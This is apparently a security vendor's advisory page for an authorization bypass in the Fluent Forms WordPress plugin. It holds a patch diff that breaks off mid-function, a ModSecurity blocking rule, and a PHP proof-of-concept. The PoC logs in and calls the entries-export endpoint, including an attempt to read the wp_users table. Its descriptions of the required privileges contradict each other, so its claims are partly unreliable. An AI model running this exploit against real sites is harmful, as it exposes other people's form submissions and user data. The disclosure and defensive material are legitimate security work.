         $from = date('Y-m-d H:i:s', strtotime('-30 days'));
         $to = date('Y-m-d H:i:s', strtotime('+1 days'));
         $formId = Arr::get($attributes, 'form_id');
+        $allowFormIds = FormManagerService::getUserAllowedFormsScope();
         $status = Arr::get($attributes, 'entry_status');
         $start = Arr::get($attributes, 'date_range.0', '');
         $end = Arr::get($attributes, 'date_range.1', '');
@@ -357,6 +362,9 @@

         if ('all' === $dateRange) {
             $firstItem = self::orderBy('created_at', 'ASC')
+                ->when(false !== $allowFormIds, function ($q) use ($allowFormIds) {
+                    return $q->whereIn('form_id', $allowFormIds ?: [0]);
+                })
                 ->when($formId, function ($q) use ($formId) {
                     return $q->where('form_id', $formId);
                 })
@@ -393,6 +401,9 @@
             ->whereBetween('created_at', [$from, $to])
             ->groupBy('date')
             ->orderBy('date', 'ASC')
+            ->when(false !== $allowFormIds, function ($q) use ($allowFormIds) {
+                return $q->whereIn('form_id', $allowFormIds ?: [0]);
+            })
             ->when($formId, function ($q) use ($formId) {
                 return $q->where('form_id', $formId);
             })
--- a/fluentform/app/Modules/Acl/Acl.php
+++ b/fluentform/app/Modules/Acl/Acl.php
@@ -11,6 +11,45 @@

     public static $role = '';

+    public static function normalizeFormId($formId)
+    {
+        if ($formId === null || $formId === false || $formId === '') {
+            return null;
+        }
+
+        if (is_string($formId)) {
+            $formId = trim($formId);
+        }
+
+        if (!is_int($formId) && (!is_string($formId) || !ctype_digit($formId))) {
+            return null;
+        }
+
+        $formId = (int) $formId;
+
+        return $formId > 0 ? $formId : null;
+    }
+
+    public static function verifyFormId(
+        $formId,
+        $message = 'Invalid form id.',
+        $json = true
+    ) {
+        $formId = static::normalizeFormId($formId);
+
+        if ($formId) {
+            return $formId;
+        }
+
+        if ($json) {
+            wp_send_json_error([
+                'message' => $message,
+            ], 422);
+        }
+
+        throw new InvalidArgumentException(esc_html($message));
+    }
+
     public static function getPermissionSet()
     {
         $data = [
--- a/fluentform/app/Modules/AddOnModule.php
+++ b/fluentform/app/Modules/AddOnModule.php
@@ -441,7 +441,7 @@
                 'title'       => __('Multilingual Forms for Fluent Forms (WPML)', 'fluentform'),
                 'description' => __('Make Fluent Forms multilingual with WPML integration', 'fluentform'),
                 'logo'        => 'wpml-ff.png',
-                'slug'        => 'multilingual-forms-fluent-forms-wpml/multilingual-forms-fluent-forms-wpml.php',
+                'slug'        => 'multilingual-forms-fluent-forms-wpml/multilingual-forms-for-fluent-forms-with-wpml.php',
                 'basename'    => 'multilingual-forms-fluent-forms-wpml',
                 'badge_type'  => 'official',
                 'wporg_url'   => 'https://wordpress.org/plugins/multilingual-forms-fluent-forms-wpml/',
--- a/fluentform/app/Modules/Component/Component.php
+++ b/fluentform/app/Modules/Component/Component.php
@@ -724,6 +724,7 @@

         $form_vars = [
             'id'               => $form->id,
+            'ajaxUrl'          => admin_url('admin-ajax.php'),
             'settings'         => $formSettings,
             'form_instance'    => $instanceCssClass,
             'form_id_selector' => 'fluentform_' . $form->id,
@@ -949,7 +950,7 @@
             $checkables = ['limitNumberOfEntries', 'scheduleForm', 'requireLogin'];

             // Ensure settings is an array
-            if (!is_array($form->settings)) {
+            if (!isset($form->settings) || !is_array($form->settings)) {
                 $form->settings = [];
             }

--- a/fluentform/app/Modules/Form/FormHandler.php
+++ b/fluentform/app/Modules/Form/FormHandler.php
@@ -627,7 +627,11 @@
         }

         $errors = [
-            '_fluentformakismet' => __('Submission marked as spammed. Please try again', 'fluentform'),
+            '_fluentformakismet' => apply_filters(
+                'fluentform/akismet_spam_message',
+                __('Submission marked as spammed. Please try again', 'fluentform'),
+                $this->form->id
+            ),
         ];

         wp_send_json(['errors' => $errors], 422);
@@ -699,13 +703,12 @@
             $isValid = ReCaptcha::validate($token, $keys['secretKey'], $version);

             if (!$isValid) {
-                wp_send_json([
-                    'errors' => [
-                        'g-recaptcha-response' => [
-                            __('reCaptcha verification failed, please try again.', 'fluentform'),
-                        ],
-                    ],
-                ], 422);
+                $message = apply_filters(
+                    'fluentform/recaptcha_failed_message',
+                    __('reCaptcha verification failed, please try again.', 'fluentform'),
+                    $this->form
+                );
+                wp_send_json(['errors' => ['g-recaptcha-response' => [$message]]], 422);
             }
         }
     }
@@ -734,13 +737,12 @@
             $isValid = HCaptcha::validate($token, $keys['secretKey']);

             if (!$isValid) {
-                wp_send_json([
-                    'errors' => [
-                        'h-captcha-response' => [
-                            __('hCaptcha verification failed, please try again.', 'fluentform'),
-                        ],
-                    ],
-                ], 422);
+                $message = apply_filters(
+                    'fluentform/hcaptcha_failed_message',
+                    __('hCaptcha verification failed, please try again.', 'fluentform'),
+                    $this->form
+                );
+                wp_send_json(['errors' => ['h-captcha-response' => [$message]]], 422);
             }
         }
     }
@@ -768,13 +770,12 @@
             $isValid = Turnstile::validate($token, $keys['secretKey']);

             if (!$isValid) {
-                wp_send_json([
-                    'errors' => [
-                        'cf-turnstile-response' => [
-                            __('Turnstile verification failed, please try again.', 'fluentform'),
-                        ],
-                    ],
-                ], 422);
+                $message = apply_filters(
+                    'fluentform/turnstile_failed_message',
+                    __('Turnstile verification failed, please try again.', 'fluentform'),
+                    $this->form
+                );
+                wp_send_json(['errors' => ['cf-turnstile-response' => [$message]]], 422);
             }
         }
     }
--- a/fluentform/app/Modules/Form/HoneyPot.php
+++ b/fluentform/app/Modules/Form/HoneyPot.php
@@ -61,12 +61,12 @@
                 !ArrayHelper::exists($requestData, $honeyPotName) ||
                 !empty(ArrayHelper::get($requestData, $honeyPotName))
         ) {
-            wp_send_json(
-                [
-                    'errors' => __('Sorry! You can not submit this form at this moment!', 'fluentform'),
-                ],
-                422
+            $message = apply_filters(
+                'fluentform/honeypot_spam_message',
+                __('Sorry! You can not submit this form at this moment!', 'fluentform'),
+                $formId
             );
+            wp_send_json(['errors' => $message], 422);
         }
         return;
     }
--- a/fluentform/app/Modules/Payments/Classes/PaymentEntries.php
+++ b/fluentform/app/Modules/Payments/Classes/PaymentEntries.php
@@ -50,7 +50,9 @@

         // Sanitize request data
         $sanitizeMap = [
-            'form_id'          => 'intval',
+            'form_id'          => function ($value) {
+                return Acl::normalizeFormId($value);
+            },
             'per_page'         => 'intval',
             'payment_statuses' => 'sanitize_text_field',
             'payment_types'    => 'sanitize_text_field',
@@ -89,8 +91,8 @@
         }

         $allowFormIds = apply_filters('fluentform/current_user_allowed_forms', false);
-        if ($allowFormIds && is_array($allowFormIds)) {
-            $paymentsQuery = $paymentsQuery->whereIn('fluentform_transactions.form_id', $allowFormIds);
+        if (false !== $allowFormIds && is_array($allowFormIds)) {
+            $paymentsQuery = $paymentsQuery->whereIn('fluentform_transactions.form_id', $allowFormIds ?: [0]);
         }
         if ($paymentStatus = ArrayHelper::get($attributes, 'payment_statuses')) {
             $paymentsQuery = $paymentsQuery->where('fluentform_transactions.status', $paymentStatus);
@@ -123,8 +125,6 @@

     public function handleBulkAction()
     {
-        Acl::verify('fluentform_forms_manager');
-
         $request = wpFluentForm()->request;
         $attributes = $request->all();

@@ -151,13 +151,13 @@
         $statusCode = 400;
         // permanently delete payment entries from transactions
         if ($actionType == 'delete_items') {
-
-
             // get submission ids to delete order items
-            $transactionData = Transaction::select(['form_id', 'submission_id'])
+            $transactionData = Transaction::select(['id', 'form_id', 'submission_id'])
                 ->whereIn('id', $entries)
                 ->get();

+            $this->authorizeTransactionForms($transactionData);
+
             $submission_ids = [];

             foreach ($transactionData as $transactionDatum) {
@@ -227,6 +227,25 @@
         ], $statusCode);
     }

+    private function authorizeTransactionForms($transactionData)
+    {
+        Acl::verify('fluentform_forms_manager');
+
+        $formIds = [];
+
+        foreach ($transactionData as $transaction) {
+            $formIds[(int) $transaction->form_id] = true;
+        }
+
+        foreach (array_keys($formIds) as $formId) {
+            if (!Acl::hasPermission('fluentform_forms_manager', $formId)) {
+                wp_send_json_error([
+                    'message' => __('You do not have permission to perform this action.', 'fluentform')
+                ], 422);
+            }
+        }
+    }
+
     public function getFilters()
     {
         $transactionTypes = Transaction::select('transaction_type')
@@ -259,8 +278,8 @@
         }
         $allowFormIds = apply_filters('fluentform/current_user_allowed_forms', false);
         $forms = Transaction::select('fluentform_transactions.form_id', 'fluentform_forms.title')
-            ->when($allowFormIds && is_array($allowFormIds), function ($q) use ($allowFormIds){
-                return $q->whereIn('fluentform_transactions.form_id', $allowFormIds);
+            ->when(false !== $allowFormIds && is_array($allowFormIds), function ($q) use ($allowFormIds){
+                return $q->whereIn('fluentform_transactions.form_id', $allowFormIds ?: [0]);
             })
             ->groupBy('fluentform_transactions.form_id')
             ->orderBy('fluentform_transactions.form_id', 'DESC')
--- a/fluentform/app/Modules/Payments/PaymentHandler.php
+++ b/fluentform/app/Modules/Payments/PaymentHandler.php
@@ -395,17 +395,65 @@
     public function handleAjaxEndpoints()
     {
         // phpcs:disable WordPress.Security.NonceVerification.Recommended -- Nonce verified by Acl::verify()
-        if (isset($_REQUEST['form_id'])) {
-            Acl::verify('fluentform_forms_manager');
+        $route = isset($_REQUEST['route']) ? sanitize_text_field(wp_unslash($_REQUEST['route'])) : '';
+        $formScopedRoutes = [
+            'get_form_settings',
+            'save_form_settings',
+            'update_transaction',
+            'cancel_subscription'
+        ];
+
+        if (in_array($route, $formScopedRoutes, true)) {
+            Acl::verify('fluentform_forms_manager', $this->resolveRouteFormId($route));
         } else {
             Acl::verify('fluentform_settings_manager');
         }
-
-        $route = isset($_REQUEST['route']) ? sanitize_text_field(wp_unslash($_REQUEST['route'])) : '';
         // phpcs:enable WordPress.Security.NonceVerification.Recommended -- End of AJAX endpoint nonce verification by Acl::verify()

         (new AjaxEndpoints())->handleEndpoint($route);
     }
+
+    private function resolveRouteFormId($route)
+    {
+        switch ($route) {
+            case 'get_form_settings':
+            case 'save_form_settings':
+                return Acl::verifyFormId(wpFluentForm()->request->get('form_id'));
+            case 'update_transaction':
+                return $this->resolveTransactionFormId();
+            case 'cancel_subscription':
+                return $this->resolveSubscriptionFormId();
+            default:
+                return null;
+        }
+    }
+
+    private function resolveTransactionFormId()
+    {
+        $transactionData = wpFluentForm()->request->get('transaction', []);
+        $transactionId = absint(ArrayHelper::get($transactionData, 'id'));
+
+        if (!$transactionId) {
+            return -1;
+        }
+
+        $transaction = FluentFormAppModelsTransaction::select('form_id')->find($transactionId);
+
+        return $transaction ? (int) $transaction->form_id : -1;
+    }
+
+    private function resolveSubscriptionFormId()
+    {
+        $subscriptionId = absint(wpFluentForm()->request->get('subscription_id'));
+
+        if (!$subscriptionId) {
+            return -1;
+        }
+
+        $subscription = FluentFormAppModelsSubscription::select('form_id')->find($subscriptionId);
+
+        return $subscription ? (int) $subscription->form_id : -1;
+    }

     public function maybeHandlePayment($insertData, $data, $form)
     {
--- a/fluentform/app/Modules/Payments/TransactionShortcodes.php
+++ b/fluentform/app/Modules/Payments/TransactionShortcodes.php
@@ -5,6 +5,7 @@
 use FluentFormAppHelpersHelper;
 use FluentFormAppModelsSubscription;
 use FluentFormAppModelsTransaction;
+use FluentFormAppModulesAclAcl;
 use FluentFormFrameworkHelpersArrayHelper;
 use FluentFormAppModulesPaymentsClassesPaymentReceipt;
 use FluentFormAppModulesPaymentsOrdersOrderData;
@@ -452,10 +453,16 @@
         $userid = get_current_user_id();
         $submission = fluentFormApi('submissions')->find($subscription->submission_id);

-        if (!$submission || ($submission->user_id != $userid && !$this->canCancelSubscription($subscription))) {
+        if (!$submission || !$this->canCancelSubscription($subscription)) {
             $this->sendError(__('Sorry, you can not cancel this subscription at this moment', 'fluentform'));
         }
-
+
+        $canManagePayments = Acl::hasPermission('fluentform_manage_payments', $submission->form_id);
+
+        if (!$canManagePayments && (int) $submission->user_id !== (int) $userid) {
+            $this->sendError(__('Sorry, you can not cancel this subscription at this moment', 'fluentform'));
+        }
+
         $handler = apply_filters_deprecated(
             'fluentform_payment_manager_class_' . $submission->payment_method,
             [
--- a/fluentform/app/Modules/Registerer/AdminBar.php
+++ b/fluentform/app/Modules/Registerer/AdminBar.php
@@ -112,11 +112,11 @@
             $title = __('Fluent Forms', 'fluentform');
         }

-        $allowForms = FormManagerService::getUserAllowedForms();
+        $allowForms = FormManagerService::getUserAllowedFormsScope();
         $hasUnreadSubmissions = wpFluent()->table('fluentform_submissions')
             ->where('status', 'unread')
-            ->when($allowForms, function ($q) use ($allowForms){
-                return $q->whereIn('form_id', $allowForms);
+            ->when(false !== $allowForms, function ($q) use ($allowForms){
+                return $q->whereIn('form_id', $allowForms ?: [0]);
             })
             ->count();

--- a/fluentform/app/Modules/Registerer/Menu.php
+++ b/fluentform/app/Modules/Registerer/Menu.php
@@ -465,11 +465,11 @@
             $entriesTitle = __('Entries', 'fluentform');

             if (Helper::isFluentAdminPage()) {
-                $allowForms = FormManagerService::getUserAllowedForms();
+                $allowForms = FormManagerService::getUserAllowedFormsScope();
                 $entriesCount = wpFluent()->table('fluentform_submissions')
                     ->where('status', 'unread')
-                    ->when($allowForms, function ($q) use ($allowForms){
-                        return $q->whereIn('form_id', $allowForms);
+                    ->when(false !== $allowForms, function ($q) use ($allowForms){
+                        return $q->whereIn('form_id', $allowForms ?: [0]);
                     })
                     ->count();

@@ -814,8 +814,8 @@
             (new ActivationHandler())->migrate();
         }

-        if ($allowForms = FormManagerService::getUserAllowedForms()) {
-            $formsCount = wpFluent()->table('fluentform_forms')->whereIn('id', $allowForms)->count();
+        if (false !== ($allowForms = FormManagerService::getUserAllowedFormsScope())) {
+            $formsCount = wpFluent()->table('fluentform_forms')->whereIn('id', $allowForms ?: [0])->count();
         } else {
             $formsCount = wpFluent()->table('fluentform_forms')->count();
         }
@@ -1140,12 +1140,12 @@

     public function renderTransfer()
     {
-        $allowForms = FormManagerService::getUserAllowedForms();
+        $allowForms = FormManagerService::getUserAllowedFormsScope();
         $forms = wpFluent()->table('fluentform_forms')
             ->orderBy('id', 'desc')
             ->select(['id', 'title'])
-            ->when($allowForms, function ($q) use ($allowForms){
-                return $q->whereIn('id', $allowForms);
+            ->when(false !== $allowForms, function ($q) use ($allowForms){
+                return $q->whereIn('id', $allowForms ?: [0]);
             })
             ->get();

--- a/fluentform/app/Modules/Registerer/TranslationString.php
+++ b/fluentform/app/Modules/Registerer/TranslationString.php
@@ -997,8 +997,8 @@
             'Managers' => __('Managers', 'fluentform'),
             'Enable Specific Forms Permission' => __('Enable Specific Forms Permission', 'fluentform'),
             'Access to Forms' => __('Access to Forms', 'fluentform'),
-            'Select specific forms to grant permission. Leave blank to give the manager access to all forms.' => __('Select specific forms to grant permission. Leave blank to give the manager access to all forms.', 'fluentform'),
-            'Select forms (leave blank for all)' => __('Select forms (leave blank for all)', 'fluentform'),
+            'Select forms to limit this manager's access. Leave blank to keep access to all forms.' => __('Select forms to limit this manager's access. Leave blank to keep access to all forms.', 'fluentform'),
+            'Select forms to limit access' => __('Select forms to limit access', 'fluentform'),
             'Add Manager' => __('Add Manager', 'fluentform'),
             'Global Layout Settings' => __('Global Layout Settings', 'fluentform'),
             'Administrators have full access to Fluent Forms. Add other managers giving specific permissions.' => __('Administrators have full access to Fluent Forms. Add other managers giving specific permissions.', 'fluentform'),
@@ -2289,4 +2289,3 @@
     }
 }

-
--- a/fluentform/app/Services/Logger/Logger.php
+++ b/fluentform/app/Services/Logger/Logger.php
@@ -16,7 +16,8 @@
     public function get($attributes = [])
     {
         $statuses = Arr::get($attributes, 'status');
-        $formIds = Arr::get($attributes, 'form_id');
+        $formIds = $this->normalizeFormScope(Arr::get($attributes, 'form_id'));
+        $formIds = $this->resolveVisibleFormScope($formIds);
         $components = Arr::get($attributes, 'component');
         $sortBy = FluentFormAppHelpersHelper::sanitizeOrderValue(Arr::get($attributes, 'sort_by', 'DESC'));
         $type = Arr::get($attributes, 'type', 'log');
@@ -25,15 +26,15 @@
         $endDate = Arr::get($dateRange, 1);
         [$table, $model, $columns, $join, $componentColumn, $dateColumn] = $this->getBases($type);

-        if (!$formIds && $allowForms = FormManagerService::getUserAllowedForms()) {
-            $formIds = $allowForms;
-        }
         $logsQuery = $model->select($columns)
             ->leftJoin('fluentform_forms', 'fluentform_forms.id', '=', $join)
             ->orderBy($table . '.id', $sortBy)
-            ->when($formIds, function ($q) use ($formIds) {
+            ->when(false !== $formIds && [] !== $formIds, function ($q) use ($formIds) {
                 return $q->whereIn('fluentform_forms.id', array_map('intval', $formIds));
             })
+            ->when([] === $formIds, function ($q) {
+                return $q->whereIn('fluentform_forms.id', [0]);
+            })
             ->when($statuses, function ($q) use ($statuses, $table) {
                 return $q->whereIn($table . '.status', array_map('sanitize_text_field', $statuses));
             })
@@ -102,6 +103,32 @@
         return apply_filters('fluentform/get_logs', $logs);
     }

+    protected function normalizeFormScope($formIds)
+    {
+        if (null === $formIds || false === $formIds || '' === $formIds || [] === $formIds) {
+            return false;
+        }
+
+        $normalized = array_values(array_filter(array_map('intval', (array) $formIds)));
+
+        return $normalized ?: [];
+    }
+
+    protected function resolveVisibleFormScope($requestedFormIds)
+    {
+        $allowedForms = FormManagerService::getUserAllowedFormsScope();
+
+        if (false === $allowedForms) {
+            return $requestedFormIds;
+        }
+
+        if (false === $requestedFormIds) {
+            return $allowedForms;
+        }
+
+        return array_values(array_intersect($requestedFormIds, $allowedForms));
+    }
+
     protected function getBases($type)
     {
         if ('log' === $type) {
@@ -167,13 +194,13 @@
         })->values();

         $formIds = $formIdRows->pluck('form_id')->filter()->toArray();
-        if ($allowForms = FormManagerService::getUserAllowedForms()) {
+        if (false !== ($allowForms = FormManagerService::getUserAllowedFormsScope())) {
             $formIds = array_filter($formIds, function($value) use ($allowForms) {
                 return in_array($value, $allowForms);
             });
         }

-        $forms = Form::select('id', 'title')->whereIn('id', $formIds)->get();
+        $forms = Form::select('id', 'title')->whereIn('id', $formIds ?: [0])->get();

         return apply_filters('fluentform/get_log_filters', [
             'statuses'   => $statuses,
@@ -294,7 +321,7 @@

     public function remove($attributes = [])
     {
-        $ids = Arr::get($attributes, 'log_ids');
+        $ids = $this->normalizeLogIds($attributes);

         if (!$ids) {
             throw new ValidationException(
@@ -303,14 +330,97 @@
             );
         }

-        $logType = Arr::get($attributes, 'type', 'logs');
+        $logType = Arr::get($attributes, 'type', Arr::get($attributes, 'log_type', 'logs'));
+        $entryId = intval(Arr::get($attributes, 'entry_id'));
+        $targetLogs = $this->getLogsForDeletion($ids, $logType);

-        $model = 'logs' === $logType ? Log::query() : Scheduler::query();
+        if (!$targetLogs->count()) {
+            throw new ValidationException(
+               // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Exception message, not output
+                __('No selections found', 'fluentform')
+            );
+        }

-        $model->whereIn('id', $ids)->delete();
+        $this->assertDeletePermission($targetLogs, $entryId);
+        $this->getDeleteQuery($logType)
+            ->whereIn('id', $targetLogs->pluck('id')->all())
+            ->delete();

         return [
             'message' => __('Selected log(s) successfully deleted', 'fluentform'),
         ];
     }
+
+    protected function normalizeLogIds($attributes)
+    {
+        $ids = Arr::get($attributes, 'log_ids', 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-5395
# This rule blocks unauthenticated or unauthorized access to the Fluent Forms exportEntries AJAX handler
# by requiring a valid nonce and ensuring the request targets an allowed form ID.
# Since the vulnerability is an authorization bypass that is indistinguishable from legitimate
# requests at the WAF level (both use the same parameters and nonce), a broad rule would cause
# false positives. This rule only blocks requests where the nonce parameter is missing entirely,
# which indicates an unauthenticated attack attempt.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20265395,phase:2,deny,status:403,chain,msg:'CVE-2026-5395 - Fluent Forms exportEntries without nonce',severity:'CRITICAL',tag:'CVE-2026-5395'"
  SecRule ARGS_POST:action "@streq fluentform-form-entries-export" "chain"
    SecRule ARGS_POST:nonce "^$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5395 - Fluent Forms <= 6.2.0 - Authenticated (Subscriber+) Authorization Bypass via 'table' Parameter

<?php
/**
 * Proof of Concept for CVE-2026-5395
 * 
 * This script demonstrates how an authenticated attacker with Fluent Forms manager-level
 * access can bypass form-level access restrictions and export submissions from forms they
 * are not authorized to view.
 */

$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$username = 'attacker'; // WordPress username with Fluent Forms manager-level access
$password = 'attacker_password'; // User's password

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

echo "[+] Authentication completed.n";

// Step 2: Fetch the admin dashboard to get necessary cookies and nonces
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Extract the Fluent Forms nonce (if needed) - this may vary by setup
// The export action uses its own nonce verification
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$wp_nonce = $matches[1] ?? '';
echo "[+] WordPress nonce: $wp_noncen";

// Step 3: Exploit the exportEntries function by sending a crafted AJAX request
// The vulnerable endpoint is wp_ajax_fluentform-form-entries-export
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$exploit_data = [
    'action' => 'fluentform-form-entries-export',
    'form_id' => 1, // Target form ID - attacker can iterate through IDs
    'nonce' => $wp_nonce,
    // Additionally, the 'table' parameter can be manipulated to read arbitrary DB tables
    'table' => 'wp_fluentform_submissions', // Default table; attacker could try other tables
];

echo "[+] Sending exploit request to: $ajax_urln";
echo "[+] Payload:n";
print_r($exploit_data);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Response:n";
echo $response . "nn";

// The response may contain exported CSV data or JSON with submission details
// If successful, the attacker gets access to submissions from form_id=1 even if they
// do not have explicit permission for that form.

// Step 4: Attempt to enumerate database tables via error disclosure
$enum_data = [
    'action' => 'fluentform-form-entries-export',
    'form_id' => 1,
    'table' => 'wp_users', // Try to read from users table
    'nonce' => $wp_nonce,
];

echo "[+] Attempting to read from wp_users table...n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($enum_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Response:n";
echo $response . "n";

// Clean up
unlink('/tmp/cookies.txt');
echo "[+] Done.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School